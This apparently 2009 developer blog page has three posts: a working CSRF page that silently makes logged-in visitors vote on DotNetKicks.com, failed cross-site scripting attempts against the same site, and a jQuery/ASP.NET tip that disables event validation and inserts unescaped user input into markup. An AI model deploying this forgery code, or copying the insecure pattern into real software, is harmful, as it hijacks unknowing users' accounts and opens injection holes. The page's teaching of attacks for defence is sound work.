using RunXc.Web;
using RunXc.DB;


RunXc


Where the DB meets the Web

CSRF by Example, How to do it, How to defend it

clock July 6, 2009 07:45 by author

For a little bit of background I would recommend that you read the article that I originally wrote titled XSS by Example.   I was originally intrigued by Cross Site Scripting  and decided to give it a try.  As dblackshell pointed out in the comments what I had originally attempted was CSRF or Cross Site Request Forgery.  Following the link he put in the article and reading up a bit more I finally figured out how to perform a Cross Site Request Forgery to kick an Article at DotNetKicks.com (a rating site similar to Digg for .Net developers).

CSRF what didn't work

If you read my previous article you would have seen my first two failed attempts at CSRF.   In one attempt I tried a cross site AJAX post which the browser wouldn't allow.  In my second attempt I tried to load DotNetKicks in an IFrame and then manipulate it from my web page which the browser didn't allow.

CSRF what did work

I knew that the request needed to be a post so what I finally ended up getting to work was a Form with an action that posted the values to DotNetKicks.com.   Below is an image from Firebug showing the request that I needed to forge.

image

AJAX can make CSRF difficult

If you are familiar with Firebug than you can clearly tell that the post above is an AJAX post using JSON and not simply a name value pair.  At first I had a difficult time duplicating the request as the following type of form would not work.

<form>
<input type="hidden" name="id" value="1" />
<input type="hidden" name="method" value="kickStory" />
<input type="hidden" name="params" value="41812" />
<input type="hidden" name="params" value="true" />
</form>

 

What I finally got to work was an input element with a blank name and a value of the JSON string that I wanted to replicate.  Below is the code that will vote for whatever article you choose.

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head1" runat="server">
    <title>RunXc CSRF example</title>
    <script type="text/javascript" 
    src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
    <script type="text/javascript">
        $(document).ready(function() {
        var kickit = location.search.substring(4);
        $('#hidDiv').html(
             '<form name="csrf" id="csrf" ' +
             'action="http://dotnetkicks.com/services/ajax/ajaxservices.ashx" method="post">' +
             ' <input type="hidden" name="" value=' + "'" + 
             '{"id":1,"method":"kickStory","params":['+ kickit +',true]}' + "'" + '/>' +
             ' </form>');
            document.getElementById("csrf").submit();
        });

    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    </div>
    </form>
     <div id="hidDiv" style="display:none;">
     </div>
</body>
</html>

If you create an ASPX page using the html above you can coerce anyone on your website to kick an article of your choosing (as long as they are still logged on at DotNetKicks.com. remember that is how CSRF works) with a simple Iframe somewhere else on your site that looks like this.

<iframe id="dnk" name="dnk" src="csrf.aspx?id=43310" ></iframe>

 

Now that I know this what should I do?

Information is power.   I hope with this little script that anyone who has a website that could be targeted by  CSRF that they might be able to hack their own site and then figure out how to protect their site from it.  You need to understand how hackers will attack your site to be able to protect yourself from it.  I know that you can use a hidden field and validate the value against what you sent out but I would like to know what others are doing to protect against this kind of attack.

Submit this story to DotNetKicksShout it   Bookmark and Share  


XSS by Example (Cross Site Scripting)

clock May 22, 2009 06:50 by author

So lately I have been reading "ASP.NET MVC Pro" and when I read the chapter about security (written by Rob Conery ) I was intrigued by the XSS examples that were in the book and thought to myself that I should give XSS a try.  

Wikipedia has the following excerpt about Cross-site scripting

"The term "cross-site scripting" originated from the fact that a malicious web site could load another web site into another frame or window, then use JavaScript to read/write data on the other web site. Over time the definition changed to mean the injection of HTML/JavaScript into a web page, which may be confusing because the name is no longer an accurate description of the current definition."

Now I am not a malicious person so I didn't have any desire to inject JavaScript into some existing site but I was a bit curious as to how easy it is to manipulate one website via JavaScript from another web site.   As I like to use DotNetKicks (I also check DotNetShoutOut but was on DotNetKicks when the idea came to me) I decided to see just how easy it would be to Kick my story from my own website rather than having a user leave my site to go to DotNetKicks to kick my story.

Step 1 Inspect the Request and Response.

So the first step would be to see what the site expected when a story was kicked.  As I was already at DotNetKicks I read a couple stories and found one that I liked and kicked it.   Inspecting the response with FireBug I saw the following.

dnkParams

And for the Headers I saw the following

 dnkHeaders

Looking at the Headers and the Post values it is very evident that they are using  an Ajax request with a response type of Json.   As they are using Ajax it is very easy to see what JavaScript they are using to create the request.

dnkArgsDef 

Now if you look at the headers the "Referer" does have me a bit worried as they might be able to see where the request is coming from but hey I would really like a lot of Kicks so I decided to press on with my quest.

Step 2 Writing some JavaScript to see if it works.

Trial 1.

I first decided to see if I could just make an ajax post request passing in the same variables.  The following is the write up in the simplest form.

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>

    <script type="text/javascript" 
    src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
    <script type="text/javascript">
        $.post('http://dotnetkicks.com/services/ajax/ajaxservices.ashx',
             { id: 1, method: 'kickStory', params: [41965, true] },
              function(response) { alert(response); },'json');
    </script>
</head>
<body>
    <form id="form1" runat="server">
    <div>
   
    </div>
    </form>
</body>
</html>

 

Okay so what was the response??  Well it ends up that Firefox and other browsers see this request to a different domain namely dotnetkicks.com as a security threat and issue the following warning.

Access to restricted URI denied (NS_ERROR_DOM_BAD_URI)

 

Okay so that doesn't work what about loading dotnetkicks in an iframe on the page (I could use some css to hide it or something).

Trial 2

Here is an iframe example in its simplest

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body onload="javascript:kick();">
    <form id="form1" runat="server">
    <div>
    <iframe id="dnk" name="dnk" src="http://www.dotnetkicks.com" ></iframe>
    </div>
    </form>
     <script type="text/javascript">
         function kick() {
             var dnk = window.frames.dnk;
             dnk.KickIt(41977, true);
         }
    </script>
</body>
</html>

 

Okay so I thought this time it might work a little better but once again I got a security warning in Firefox and IE.

Permission denied to get property Window.KickIt

 

Once again the error is due to the fact that the iframe does not share the same domain.   After some more testing the only cross site request that I was able to perform was a get request with a data type of jsonp using jQuery.  

Moral of the story

XSS is not as easy as it sounds, that and you should always differentiate between a get and post request. 

Feedback

If you know how I could have gotten it to work shoot me an Email or leave a comment and I will give it a try and update the post

Submit this story to DotNetKicksShout it   Bookmark and Share  


Using jQuery to add values to a DropDownList and overcoming ASP.NET

clock April 27, 2009 20:20 by author

OK so here is the scenario,  you have a data bound control, plain old vanilla DropDownList that is bound to a DataReader.  What you need to do is add values to the dropdown list from JavaScript and then retrieve the new value on the code behind after the user submits the form.

Part 1- jQuery Goodness

Adding the item to the DropDownList (now we are on the html side so we need to think in terms of html namely the <select> tag.)  I mean adding the item to the select list is easy.

ASPX markup

<label>My Drop Down List</label>
<asp:DropDownList runat="server" ID="ddlMyDropDown" CssClass="ddlMyDropDown" ></asp:DropDownList>
<br />
<br />
<input type="text" id="addToDropDown" class="addToDropDown" />

 

jQuery code that will add the value from the text box to the drop down and select the newly added value

// first lets un-select any items that have been selected
$("select.ddlMyDropDown option:selected").removeAttr("selected");
var addvalue=$("#addToDropDown").val(); 
$("select.ddlMyDropDown").prepend('<option selected="selected" value="' + addvalue + '">' + addvalue+ '</option>');

As a note you will notice that I am using the class to select the DropDownList(I mean the html select).  I am doing this because I am assuming that you are going to use a MasterPage which is an INamingContainer that will mess with your id's.  (This is one of the reasons that jQuery rocks if you know your CSS 3 selectors
you will be able to select virtually anything on the page with jQuery and manipulate it as needed)

ASP.NET Tweaks

Ok so now on the server side this is where it gets a bit tricky. You first need to un-enable Validation which is a "feature" of .Net 2.0+ namely whenever you use databinding with a DropDownList all the values are added to ViewState so that ASP.NET knows what values are valid in the drop down list.

<pages enableEventValidation="false">

 

The next gotcha is the same as before only different.  So by disabling Event Validation we are no longer going to get an error screen at the time of the post back but we still can't retrieve the value via the SelectedValue property of the control.  Instead we need to grab the value from the Form.

// this won't work ddlMyDropDown.SelectedValue
string selected = Request.Form[ddlMyDropDown.UniqueID];

You probably know this but just as a reminder.  The "UniqueID" of a control in the html world is the "name" property and the ClientID is the "id" property of the html, when retrieving values from the Form you need to use the name of the html element hence why we used the UniqueID..

Submit this story to DotNetKicksShout it   Bookmark and Share  


Blog.RunXc

View Bret Ferrier's profile on LinkedIn

Read an Article and Need Help?

Consulting/Contracting -Get a bid

OpenSouce Projects I like -jQuery, SubSonic, Mono, CC.Net

Languages- C#,javascript, VB, SQL, T-SQL, PSQL

DataBases- SqlServer,Oracle,MySql, SQLite, Sql Anywhere

Linux Flavors- OpenSuse, Ubuntu

VM Preference - VirtualBox

Least Favorite Reporting Technology-Crystal Reports

Sign in